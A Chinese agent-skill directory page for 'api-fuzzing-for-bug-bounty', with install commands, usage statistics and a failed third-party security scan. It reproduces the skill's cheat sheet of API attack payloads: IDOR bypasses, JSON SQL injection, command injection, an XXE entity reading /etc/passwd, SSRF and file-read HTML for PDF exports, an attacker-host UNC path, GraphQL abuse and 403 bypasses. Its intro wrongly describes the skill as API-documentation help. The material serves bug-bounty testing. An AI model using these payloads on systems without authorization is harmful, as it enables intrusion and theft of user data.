Token导航 LogoToken导航

Agent Skill · 研究检索

api-fuzzing-for-bug-bounty(API fuzzing FOR BUG bounty 搜索)

用于辅助 API 设计、接口文档、请求响应结构和服务集成说明。它适合让 Agent 梳理 endpoint、生成 OpenAPI 草稿、检查字段命名、整理错误码或辅助前后端联调。使用时需要确认真实业务语义、鉴权方式、分页和错误处理规则;涉及生成接口文档时,应避免凭空补字段,最好从现有代码、schema 或接口样例中提取事实。

api-fuzzing-for-bug-bounty 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为需要联网;许可证为 MIT,第三方扫描有未通过项,按安装量在研究检索类的 73,675 个 Skill 里排第 15,936。

总安装 7,506周安装 269GitHub Stars 26,501下载 3,370核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
MIT

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:api-fuzzing-for-bug-bounty(API fuzzing FOR BUG bounty 搜索)
来源仓库:https://github.com/davila7/claude-code-templates
仓库路径:skills/api-fuzzing-for-bug-bounty
安装命令:
npx skills add https://github.com/davila7/claude-code-templates --skill 'API Fuzzing for Bug Bounty'
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。不同来源提供的安装方式可能略有差异;本站展示可直接复制的安装命令,安装前请核对来源页面。

skills.shnpx skills
npx skills add https://github.com/davila7/claude-code-templates --skill 'API Fuzzing for Bug Bounty'

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

api-fuzzing-for-bug-bounty 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中快速定位候选结果。它提供 REST、SOAP、GraphQL API 模糊测试技术,用于漏洞发现和认证绕过攻击。

使用方式是通过 npx skills add 命令安装,需配合 Burp Suite 和 SecLists 等资源使用。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

来源仓库内路径:skills/api-fuzzing-for-bug-bounty

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/davila7/claude-code-templates --skill 'API Fuz…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要需要联网,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

api-fuzzing-for-bug-bounty 怎么安装?

在终端执行 npx skills add https://github.com/davila7/claude-code-templates --skill 'API Fuzzing for B…。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

api-fuzzing-for-bug-bounty 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

api-fuzzing-for-bug-bounty 需要什么权限?

权限级别是需要联网。该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

api-fuzzing-for-bug-bounty 是免费的吗?

来源标注的许可证是 MIT。本站不代收任何费用,也不托管安装包;能否商用、要不要署名,以许可证原文为准。

api-fuzzing-for-bug-bounty 用的人多吗?

公开数据是累计安装 7,506 次,近一周安装 269 次,下载 3,370 次,GitHub 26,501 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

api-fuzzing-for-bug-bounty 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 3 个目录同时收录,说明这个 Skill 流传比较广。
  • 许可证明确为 MIT,商用和分发边界好判断。
  • 来源仓库有 26,501 星,维护活跃度相对可查。

先想清楚的地方

  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
api-fuzzing-for-bug-bounty

API fuzzing FOR BUG bounty 搜索 · 本页

7,50626,501需要联网MIT未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

  • Burp Suite or similar proxy tool
  • API wordlists (SecLists, api_wordlist)
  • Understanding of REST/GraphQL/SOAP protocols
  • Python for scripting
  • Target API endpoints and documentation (if available)

Outputs/Deliverables

  • Identified API vulnerabilities
  • IDOR exploitation proofs
  • Authentication bypass techniques
  • SQL injection points
  • Unauthorized data access documentation

API Types Overview

TypeProtocolData FormatStructure
SOAPHTTPXMLHeader + Body
RESTHTTPJSON/XML/URLDefined endpoints
GraphQLHTTPCustom QuerySingle endpoint

Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com

# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL Tools

ToolPurpose
GraphCrawlerSchema discovery
graphw00fFingerprinting
clairvoyanceSchema reconstruction
InQLBurp extension
GraphQLmapExploitation

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

Output Exploitation

PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>

<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>

<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

Common API Vulnerabilities Checklist

VulnerabilityDescription
API ExposureUnprotected endpoints exposed publicly
Misconfigured CachingSensitive data cached incorrectly
Exposed TokensAPI keys/tokens in responses or URLs
JWT WeaknessesWeak signing, no expiration, algorithm confusion
IDOR / BOLABroken Object Level Authorization
Undocumented EndpointsHidden admin/debug endpoints
Different VersionsSecurity gaps in older API versions
Rate LimitingMissing or bypassable rate limits
Race ConditionsTOCTOU vulnerabilities
XXE InjectionXML parser exploitation
Content Type IssuesSwitching between JSON/XML
HTTP Method TamperingGET→DELETE/PUT abuse

Quick Reference

VulnerabilityTest PayloadRisk
IDORChange user_id parameterHigh
SQLi' OR 1=1-- in JSONCritical
Command Injection; ls /Critical
XXEDOCTYPE with ENTITYHigh
SSRFInternal IP in paramsHigh
Rate Limit BypassBatch requestsMedium
Method TamperingGET→DELETEHigh

Tools Reference

CategoryToolURL
API FuzzingFuzzapigithub.com/Fuzzapi/fuzzapi
API FuzzingAPI-fuzzergithub.com/Fuzzapi/API-fuzzer
API FuzzingAstragithub.com/flipkart-incubator/Astra
API Securityapicheckgithub.com/BBVA/apicheck
API DiscoveryKiterunnergithub.com/assetnote/kiterunner
API Discoveryopenapi_security_scannergithub.com/ngalongc/openapi_security_scanner
API ToolkitAPIKitgithub.com/API-Security/APIKit
API KeysAPI Guesserapi-guesser.netlify.app
GUIDGUID Guessergist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQLInQLgithub.com/doyensec/inql
GraphQLGraphCrawlergithub.com/gsmith257-cyber/GraphCrawler
GraphQLgraphw00fgithub.com/dolevf/graphw00f
GraphQLclairvoyancegithub.com/nikitastupin/clairvoyance
GraphQLbatchqlgithub.com/assetnote/batchql
GraphQLgraphql-copgithub.com/dolevf/graphql-cop
WordlistsSecListsgithub.com/danielmiessler/SecLists
Swagger ParserSwagger-EZrhinosecuritylabs.github.io/Swagger-EZ
Swagger Routesswagroutesgithub.com/amalmurali47/swagroutes
API MindmapMindAPIdsopas.github.io/MindAPI/play
JSON Pathsjson2pathsgithub.com/s0md3v/dump/tree/master/json2paths

Constraints

Must:

  • Test mobile, web, and developer APIs separately
  • Check all API versions (/v1, /v2, /v3)
  • Validate both authenticated and unauthenticated access

Must Not:

  • Assume same security controls across API versions
  • Skip testing undocumented endpoints
  • Ignore rate limiting checks

Should:

  • Add X-Requested-With: XMLHttpRequest header to simulate frontend
  • Check archive.org for historical API endpoints
  • Test for race conditions on sensitive operations

Examples

Example 1: IDOR Exploitation

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data

Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

Troubleshooting

IssueSolution
API returns nothingAdd X-Requested-With: XMLHttpRequest header
401 on all endpointsTry adding ?user_id=1 parameter
GraphQL introspection disabledUse clairvoyance for schema reconstruction
Rate limitedUse IP rotation or batch requests
Can't find endpointsCheck Swagger, archive.org, JS files

平台分布

Claude Code

26.23%
按下载量换算884

Gemini CLI

23.39%
按下载量换算788

Antigravity

17.01%
按下载量换算573

OpenCode

11.05%
按下载量换算372

Cursor

7.91%
按下载量换算267

windsurf

3.04%
按下载量换算102

安全审计

Gen Agent Trust Hub

通过

Socket

可疑

Snyk

未通过

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。

继续浏览同类 Skills